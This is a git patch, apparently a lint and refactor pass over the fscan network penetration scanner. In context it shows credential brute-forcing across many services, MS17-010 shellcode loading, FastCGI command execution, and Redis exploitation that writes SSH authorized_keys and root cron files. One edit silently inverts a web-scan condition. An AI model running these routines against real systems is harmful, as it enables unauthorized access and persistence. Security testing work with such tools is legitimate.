From 04a7ba135792df94138f5982137e2199b20a9b90 Mon Sep 17 00:00:00 2001 From: au Date: Mon, 5 Jun 2023 19:02:55 +0300 Subject: [PATCH 01/46] initial cleanup --- Plugins/CVE-2020-0796.go | 7 +- Plugins/NetBIOS.go | 12 +- Plugins/fcgiscan.go | 102 +++++------- Plugins/ftp.go | 6 +- Plugins/icmp.go | 25 +-- Plugins/ms17010-exp.go | 7 +- Plugins/mssql.go | 2 +- Plugins/mysql.go | 2 +- Plugins/oracle.go | 2 +- Plugins/portscan.go | 17 +- Plugins/postgres.go | 2 +- Plugins/rdp.go | 2 +- Plugins/redis.go | 39 +++-- Plugins/scanner.go | 18 ++- Plugins/smb.go | 2 +- Plugins/smb2.go | 48 +----- Plugins/ssh.go | 13 +- Plugins/webtitle.go | 44 +++--- Plugins/wmiexec.go | 5 +- README.md | 330 ++++++++++++++++++++------------------- README_EN.md | 260 ------------------------------ WebScan/lib/check.go | 8 +- WebScan/lib/eval.go | 3 +- common/config.go | 44 ------ common/flag.go | 71 +++++---- main.go | 18 --- 26 files changed, 363 insertions(+), 726 deletions(-) delete mode 100644 README_EN.md delete mode 100644 main.go diff --git a/Plugins/CVE-2020-0796.go b/Plugins/CVE-2020-0796.go index 3123f1c..d8bc772 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/CVE-2020-0796.go @@ -119,12 +119,15 @@ func SmbGhostScan(info *common.HostInfo) error { return err } buff := make([]byte, 1024) - err = conn.SetReadDeadline(time.Now().Add(timeout)) + + _ = conn.SetReadDeadline(time.Now().Add(timeout)) + n, err := conn.Read(buff) if err != nil { return err } - if bytes.Contains(buff[:n], []byte("Public")) == true { + + if bytes.Contains(buff[:n], []byte("Public")) { result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) common.LogSuccess(result) diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index e9ad936..5dfef12 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -12,7 +12,7 @@ import ( "time" ) -var netbioserr = errors.New("netbios error") +var errNetBIOS = errors.New("netbios error") func NetBIOS(info *common.HostInfo) error { netbios, _ := NetBIOS1(info) @@ -22,7 +22,7 @@ func NetBIOS(info *common.HostInfo) error { common.LogSuccess(result) return nil } - return netbioserr + return errNetBIOS } func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { @@ -249,7 +249,7 @@ func (info *NetBiosInfo) String() (output string) { func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) { if len(input) < 57 { - err = netbioserr + err = errNetBIOS return } data := input[57:] @@ -281,7 +281,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) { } } if len(msg) == 0 { - err = netbioserr + err = errNetBIOS return } err = yaml.Unmarshal([]byte(msg), &netbios) @@ -293,7 +293,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) { func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) { if len(ret) < 47 { - err = netbioserr + err = errNetBIOS return } var num1, num2 int @@ -328,7 +328,7 @@ func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) { return } length = num1 + num2*256 - num1, err = bytetoint(ret[start+44 : start+45][0]) + _, err = bytetoint(ret[start+44 : start+45][0]) if err != nil { return } diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index ae5e9c9..1c95e5d 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -6,12 +6,13 @@ import ( "encoding/binary" "errors" "fmt" - "github.com/shadow1ng/fscan/common" "io" "strconv" "strings" "sync" "time" + + "github.com/shadow1ng/fscan/common" ) //links @@ -93,21 +94,21 @@ func FcgiScan(info *common.HostInfo) { //Access to the script '/etc/passwd' has been denied (see security.limit_extensions) var result string var output = string(stdout) - if strings.Contains(string(stdout), cutLine) { //命令成功回显 - output = strings.SplitN(string(stdout), cutLine, 2)[0] + if strings.Contains(output, cutLine) { // 命令成功回显 + out := strings.SplitN(output, cutLine, 2)[0] + if len(stderr) > 0 { + result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, out, string(stderr)) + } else { + result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, out) + } + common.LogSuccess(result) + } else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { if len(stderr) > 0 { result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) } else { result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output) } common.LogSuccess(result) - } else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") { - if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr)) - } else { - result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout)) - } - common.LogSuccess(result) } } @@ -191,38 +192,31 @@ func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { return } -func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { - this.mutex.Lock() - defer this.mutex.Unlock() - this.buf.Reset() - this.h.init(recType, reqId, len(content)) - if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil { +func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { + c.mutex.Lock() + defer c.mutex.Unlock() + c.buf.Reset() + c.h.init(recType, reqId, len(content)) + if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil { return err } - if _, err := this.buf.Write(content); err != nil { + if _, err := c.buf.Write(content); err != nil { return err } - if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil { + if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil { return err } - _, err = this.rwc.Write(this.buf.Bytes()) + _, err = c.rwc.Write(c.buf.Bytes()) return err } -func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { +func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { b := [8]byte{byte(role >> 8), byte(role), flags} - return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) + return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) } -func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { - b := make([]byte, 8) - binary.BigEndian.PutUint32(b, uint32(appStatus)) - b[4] = protocolStatus - return this.writeRecord(FCGI_END_REQUEST, reqId, b) -} - -func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { - w := newWriter(this, recType, reqId) +func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { + w := newWriter(c, recType, reqId) b := make([]byte, 8) for k, v := range pairs { n := encodeSize(b, uint32(len(k))) @@ -241,29 +235,6 @@ func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string return nil } -func readSize(s []byte) (uint32, int) { - if len(s) == 0 { - return 0, 0 - } - size, n := uint32(s[0]), 1 - if size&(1<<7) != 0 { - if len(s) < 4 { - return 0, 0 - } - n = 4 - size = binary.BigEndian.Uint32(s) - size &^= 1 << 31 - } - return size, n -} - -func readString(s []byte, size uint32) string { - if size > uint32(len(s)) { - return "" - } - return string(s[:size]) -} - func encodeSize(b []byte, size uint32) int { if size > 127 { size |= 1 << 31 @@ -324,21 +295,21 @@ func (w *streamWriter) Close() error { return w.c.writeRecord(w.recType, w.reqId, nil) } -func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { +func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { var reqId uint16 = 1 - defer this.rwc.Close() + defer c.rwc.Close() - err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) + err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) if err != nil { return } - err = this.writePairs(FCGI_PARAMS, reqId, env) + err = c.writePairs(FCGI_PARAMS, reqId, env) if err != nil { return } if len(reqStr) > 0 { - err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) + err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) if err != nil { return } @@ -348,23 +319,26 @@ func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout [] var err1 error // recive untill EOF or FCGI_END_REQUEST +OUTER: for { - err1 = rec.read(this.rwc) + err1 = rec.read(c.rwc) if err1 != nil { if err1 != io.EOF { err = err1 } + break } - switch { - case rec.h.Type == FCGI_STDOUT: + + switch rec.h.Type { + case FCGI_STDOUT: retout = append(retout, rec.content()...) - case rec.h.Type == FCGI_STDERR: + case FCGI_STDERR: reterr = append(reterr, rec.content()...) - case rec.h.Type == FCGI_END_REQUEST: + case FCGI_END_REQUEST: fallthrough default: - break + break OUTER } } diff --git a/Plugins/ftp.go b/Plugins/ftp.go index e434307..2f84e61 100644 --- a/Plugins/ftp.go +++ b/Plugins/ftp.go @@ -14,7 +14,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) { } starttime := time.Now().Unix() flag, err := FtpConn(info, "anonymous", "") - if flag == true && err == nil { + if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err) @@ -29,7 +29,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := FtpConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err) @@ -50,7 +50,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) { func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second) + conn, err := ftp.Dial(fmt.Sprintf("%v:%v", Host, Port), ftp.DialWithTimeout(time.Duration(common.Timeout)*time.Second)) if err == nil { err = conn.Login(Username, Password) if err == nil { diff --git a/Plugins/icmp.go b/Plugins/icmp.go index bde11d5..8e08a56 100644 --- a/Plugins/icmp.go +++ b/Plugins/icmp.go @@ -3,14 +3,15 @@ package Plugins import ( "bytes" "fmt" - "github.com/shadow1ng/fscan/common" - "golang.org/x/net/icmp" "net" "os/exec" "runtime" "strings" "sync" "time" + + "github.com/shadow1ng/fscan/common" + "golang.org/x/net/icmp" ) var ( @@ -26,8 +27,8 @@ func CheckLive(hostslist []string, Ping bool) []string { for ip := range chanHosts { if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { ExistHosts[ip] = struct{}{} - if common.Silent == false { - if Ping == false { + if !common.Silent { + if !Ping { fmt.Printf("(icmp) Target %-15s is alive\n", ip) } else { fmt.Printf("(ping) Target %-15s is alive\n", ip) @@ -39,17 +40,17 @@ func CheckLive(hostslist []string, Ping bool) []string { } }() - if Ping == true { - //使用ping探测 + if Ping { + // use ping detection RunPing(hostslist, chanHosts) } else { - //优先尝试监听本地icmp,批量探测 + // try to listen to local icmp first, batch detection conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") if err == nil { RunIcmp1(hostslist, conn, chanHosts) } else { common.LogError(err) - //尝试无监听icmp探测 + // Try no listening icmp probe fmt.Println("trying RunIcmp2") conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) defer func() { @@ -61,7 +62,7 @@ func CheckLive(hostslist []string, Ping bool) []string { RunIcmp2(hostslist, chanHosts) } else { common.LogError(err) - //使用ping探测 + // use ping detection fmt.Println("The current user permissions unable to send icmp packets") fmt.Println("start ping") RunPing(hostslist, chanHosts) @@ -94,7 +95,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) endflag := false go func() { for { - if endflag == true { + if endflag { return } msg := make([]byte, 100) @@ -117,7 +118,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) if len(AliveHosts) == len(hostslist) { break } - since := time.Now().Sub(start) + since := time.Since(start) var wait time.Duration switch { case len(hostslist) <= 256: @@ -297,7 +298,7 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin } i := 0 - for _ = range arrMap1 { + for range arrMap1 { var maxCountKey string var maxCountVal = 0 for key, val := range arrMap2 { diff --git a/Plugins/ms17010-exp.go b/Plugins/ms17010-exp.go index f761517..5309671 100644 --- a/Plugins/ms17010-exp.go +++ b/Plugins/ms17010-exp.go @@ -5,12 +5,13 @@ import ( "encoding/binary" "encoding/hex" "fmt" - "github.com/shadow1ng/fscan/common" "io" - "io/ioutil" "net" + "os" "strings" "time" + + "github.com/shadow1ng/fscan/common" ) func MS17010EXP(info *common.HostInfo) { @@ -34,7 +35,7 @@ func MS17010EXP(info *common.HostInfo) { sc = AesDecrypt(sc_enc, key) default: if strings.Contains(common.SC, "file:") { - read, err := ioutil.ReadFile(common.SC[5:]) + read, err := os.ReadFile(common.SC[5:]) if err != nil { errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err) common.LogError(errlog) diff --git a/Plugins/mssql.go b/Plugins/mssql.go index 6f64c67..db0bc55 100644 --- a/Plugins/mssql.go +++ b/Plugins/mssql.go @@ -18,7 +18,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := MssqlConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) diff --git a/Plugins/mysql.go b/Plugins/mysql.go index 03c6aac..2927323 100644 --- a/Plugins/mysql.go +++ b/Plugins/mysql.go @@ -18,7 +18,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := MysqlConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) diff --git a/Plugins/oracle.go b/Plugins/oracle.go index 0db4142..f40043f 100644 --- a/Plugins/oracle.go +++ b/Plugins/oracle.go @@ -18,7 +18,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := OracleConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) diff --git a/Plugins/portscan.go b/Plugins/portscan.go index d5d56ce..66fcf9c 100644 --- a/Plugins/portscan.go +++ b/Plugins/portscan.go @@ -2,11 +2,12 @@ package Plugins import ( "fmt" - "github.com/shadow1ng/fscan/common" "sort" "strconv" "sync" "time" + + "github.com/shadow1ng/fscan/common" ) type Addr struct { @@ -29,7 +30,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { } var newDatas []int - for port, _ := range temp { + for port := range temp { newDatas = append(newDatas, port) } probePorts = newDatas @@ -40,7 +41,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { results := make(chan string, len(hostslist)*len(probePorts)) var wg sync.WaitGroup - //接收结果 + // receive result go func() { for found := range results { AliveAddress = append(AliveAddress, found) @@ -48,7 +49,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { } }() - //多线程扫描 + // multithreaded scan for i := 0; i < workers; i++ { go func() { for addr := range Addrs { @@ -58,16 +59,19 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { }() } - //添加扫描目标 + // add scan target for _, port := range probePorts { for _, host := range hostslist { wg.Add(1) Addrs <- Addr{host, port} } } + wg.Wait() + close(Addrs) close(results) + return AliveAddress } @@ -102,12 +106,13 @@ func NoPortScan(hostslist []string, ports string) (AliveAddress []string) { } var newDatas []int - for port, _ := range temp { + for port := range temp { newDatas = append(newDatas, port) } probePorts = newDatas sort.Ints(probePorts) } + for _, port := range probePorts { for _, host := range hostslist { address := host + ":" + strconv.Itoa(port) diff --git a/Plugins/postgres.go b/Plugins/postgres.go index 36a97ed..f52ca68 100644 --- a/Plugins/postgres.go +++ b/Plugins/postgres.go @@ -18,7 +18,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", string(user), -1) flag, err := PostgresConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) diff --git a/Plugins/rdp.go b/Plugins/rdp.go index abfd6d0..2754a9a 100644 --- a/Plugins/rdp.go +++ b/Plugins/rdp.go @@ -187,7 +187,7 @@ func (g *Client) Login(domain, user, pwd string, timeout int64) error { glog.Info("on update:", rectangles) }) g.pdu.On("done", func() { - if breakFlag == false { + if !breakFlag { breakFlag = true wg.Done() } diff --git a/Plugins/redis.go b/Plugins/redis.go index dbe4a4f..c0915c9 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -18,7 +18,7 @@ var ( func RedisScan(info *common.HostInfo) (tmperr error) { starttime := time.Now().Unix() flag, err := RedisUnauth(info) - if flag == true && err == nil { + if flag && err == nil { return err } if common.IsBrute { @@ -27,7 +27,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", "redis", -1) flag, err := RedisConn(info, pass) - if flag == true && err == nil { + if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err) @@ -129,13 +129,13 @@ func Expoilt(realhost string, conn net.Conn) error { if err != nil { return err } - if flagSsh == true { + if flagSsh { result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost) common.LogSuccess(result) if common.RedisFile != "" { writeok, text, err := writekey(conn, common.RedisFile) if err != nil { - fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text)) + fmt.Printf("[-] %s SSH write key errer: %s", realhost, text) return err } if writeok { @@ -147,7 +147,7 @@ func Expoilt(realhost string, conn net.Conn) error { } } - if flagCron == true { + if flagCron { result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost) common.LogSuccess(result) if common.RedisShell != "" { @@ -169,7 +169,7 @@ func Expoilt(realhost string, conn net.Conn) error { func writekey(conn net.Conn, filename string) (flag bool, text string, err error) { flag = false - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) + _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { return flag, text, err } @@ -178,7 +178,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error return flag, text, err } if strings.Contains(text, "OK") { - _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) + _, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")) if err != nil { return flag, text, err } @@ -205,7 +205,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error return flag, text, err } if strings.Contains(text, "OK") { - _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) + _, err = conn.Write([]byte("save\r\n")) if err != nil { return flag, text, err } @@ -228,7 +228,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error func writecron(conn net.Conn, host string) (flag bool, text string, err error) { flag = false - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) + _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { return flag, text, err } @@ -237,7 +237,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { return flag, text, err } if strings.Contains(text, "OK") { - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) + _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")) if err != nil { return flag, text, err } @@ -260,8 +260,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { return flag, text, err } if strings.Contains(text, "OK") { - _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) - if err != nil { + if _, err = conn.Write([]byte("save\r\n")); err != nil { return flag, text, err } text, err = readreply(conn) @@ -315,7 +314,7 @@ func readreply(conn net.Conn) (result string, err error) { func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { var text string - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) + _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { return flag, flagCron, err } @@ -326,7 +325,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { if strings.Contains(text, "OK") { flag = true } - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) + _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { return flag, flagCron, err } @@ -341,7 +340,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { } func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n"))) + _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")) if err != nil { return } @@ -355,7 +354,7 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { } else { dbfilename = text1[0] } - _, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n"))) + _, err = conn.Write([]byte("CONFIG GET dir\r\n")) if err != nil { return } @@ -377,16 +376,16 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } - dbfilename, err = readreply(conn) - if err != nil { + + if _, err = readreply(conn); err != nil { return } _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))) if err != nil { return } - dir, err = readreply(conn) - if err != nil { + + if _, err = readreply(conn); err != nil { return } return diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 58c2c3a..5ebcce1 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -2,12 +2,13 @@ package Plugins import ( "fmt" - "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" "reflect" "strconv" "strings" "sync" + + "github.com/shadow1ng/fscan/WebScan/lib" + "github.com/shadow1ng/fscan/common" ) func Scan(info common.HostInfo) { @@ -23,7 +24,7 @@ func Scan(info common.HostInfo) { web := strconv.Itoa(common.PORTList["web"]) ms17010 := strconv.Itoa(common.PORTList["ms17010"]) if len(Hosts) > 0 || len(common.HostPort) > 0 { - if common.NoPing == false && len(Hosts) > 0 { + if !common.NoPing && len(Hosts) > 0 { Hosts = CheckLive(Hosts, common.Ping) fmt.Println("[*] Icmp alive hosts len is:", len(Hosts)) } @@ -31,7 +32,7 @@ func Scan(info common.HostInfo) { common.LogWG.Wait() return } - common.GC() + var AlivePorts []string if common.Scantype == "webonly" || common.Scantype == "webpoc" { AlivePorts = NoPortScan(Hosts, info.Ports) @@ -52,7 +53,7 @@ func Scan(info common.HostInfo) { common.HostPort = nil fmt.Println("[*] AlivePorts len is:", len(AlivePorts)) } - common.GC() + var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...} for _, port := range common.PORTList { severports = append(severports, strconv.Itoa(port)) @@ -85,16 +86,17 @@ func Scan(info common.HostInfo) { } } } - common.GC() + for _, url := range common.Urls { info.Url = url AddScan(web, info, &ch, &wg) } - common.GC() + wg.Wait() common.LogWG.Wait() close(common.Results) - fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num)) + + fmt.Printf("Finished %d/%d", common.End, common.Num) } var Mutex = &sync.Mutex{} diff --git a/Plugins/smb.go b/Plugins/smb.go index 19911e7..9b6b835 100644 --- a/Plugins/smb.go +++ b/Plugins/smb.go @@ -18,7 +18,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := doWithTimeOut(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { var result string if common.Domain != "" { result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass) diff --git a/Plugins/smb2.go b/Plugins/smb2.go index d4b141a..2adeaec 100644 --- a/Plugins/smb2.go +++ b/Plugins/smb2.go @@ -26,7 +26,7 @@ func SmbScan2(info *common.HostInfo) (tmperr error) { if flag2 { hasprint = true } - if flag == true { + if flag { var result string if common.Domain != "" { result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) @@ -126,51 +126,5 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr defer f.Close() flag = true return - //bs, err := ioutil.ReadAll(f) - //if err != nil { - // return - //} - //fmt.Println(string(bs)) - //return } - -//if info.Path == ""{ -//} -//path = info.Path -//f, err := fs.OpenFile(path, os.O_RDONLY, 0666) -//if err != nil { -// return -//} -//flag = true -//_, err = f.Seek(0, io.SeekStart) -//if err != nil { -// return -//} -//bs, err := ioutil.ReadAll(f) -//if err != nil { -// return -//} -//fmt.Println(string(bs)) -//return -//f, err := fs.Create(`Users\Public\Videos\hello.txt`) -//if err != nil { -// return -//} -//flag = true -// -//_, err = f.Write([]byte("Hello world!")) -//if err != nil { -// return -//} -// -//_, err = f.Seek(0, io.SeekStart) -//if err != nil { -// return -//} -//bs, err := ioutil.ReadAll(f) -//if err != nil { -// return -//} -//fmt.Println(string(bs)) -//return diff --git a/Plugins/ssh.go b/Plugins/ssh.go index 7c8276d..e136952 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -3,12 +3,13 @@ package Plugins import ( "errors" "fmt" - "github.com/shadow1ng/fscan/common" - "golang.org/x/crypto/ssh" - "io/ioutil" "net" + "os" "strings" "time" + + "github.com/shadow1ng/fscan/common" + "golang.org/x/crypto/ssh" ) func SshScan(info *common.HostInfo) (tmperr error) { @@ -20,7 +21,7 @@ func SshScan(info *common.HostInfo) (tmperr error) { for _, pass := range common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := SshConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) @@ -44,9 +45,9 @@ func SshScan(info *common.HostInfo) (tmperr error) { func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - Auth := []ssh.AuthMethod{} + var Auth []ssh.AuthMethod if common.SshKey != "" { - pemBytes, err := ioutil.ReadFile(common.SshKey) + pemBytes, err := os.ReadFile(common.SshKey) if err != nil { return false, errors.New("read key failed" + err.Error()) } diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index 20b1b87..fe9b8f5 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -4,18 +4,18 @@ import ( "compress/gzip" "crypto/tls" "fmt" - "github.com/shadow1ng/fscan/WebScan" - "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" - "golang.org/x/text/encoding/simplifiedchinese" "io" - "io/ioutil" "net/http" "net/url" "regexp" "strings" "time" "unicode/utf8" + + "github.com/shadow1ng/fscan/WebScan" + "github.com/shadow1ng/fscan/WebScan/lib" + "github.com/shadow1ng/fscan/common" + "golang.org/x/text/encoding/simplifiedchinese" ) func WebTitle(info *common.HostInfo) error { @@ -26,7 +26,7 @@ func WebTitle(info *common.HostInfo) error { err, CheckData := GOWebTitle(info) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) - if common.IsWebCan == false && err == nil { + if common.IsWebCan && err == nil { WebScan.WebScan(info) } else { errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) @@ -59,7 +59,7 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData return } - //有跳转 + // there is a jump if strings.Contains(result, "://") { info.Url = result err, result, CheckData = geturl(info, 3, CheckData) @@ -71,17 +71,16 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData if result == "https" && !strings.HasPrefix(info.Url, "https://") { info.Url = strings.Replace(info.Url, "http://", "https://", 1) err, result, CheckData = geturl(info, 1, CheckData) - //有跳转 + // there is a jump if strings.Contains(result, "://") { info.Url = result - err, result, CheckData = geturl(info, 3, CheckData) + err, _, CheckData = geturl(info, 3, CheckData) if err != nil { return } } } - //是否访问图标 - //err, _, CheckData = geturl(info, 2, CheckData) + if err != nil { return } @@ -113,11 +112,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er if common.Cookie != "" { req.Header.Set("Cookie", common.Cookie) } - //if common.Pocinfo.Cookie != "" { - // req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) - //} else { - // req.Header.Set("Cookie", "rememberMe=1") - //} + req.Header.Set("Connection", "close") var client *http.Client if flag == 1 { @@ -140,7 +135,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er if !utf8.Valid(body) { body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body) } - CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)}) + CheckData = append(CheckData, WebScan.CheckDatas{Body: body, Headers: fmt.Sprintf("%s", resp.Header)}) var reurl string if flag != 2 { title = 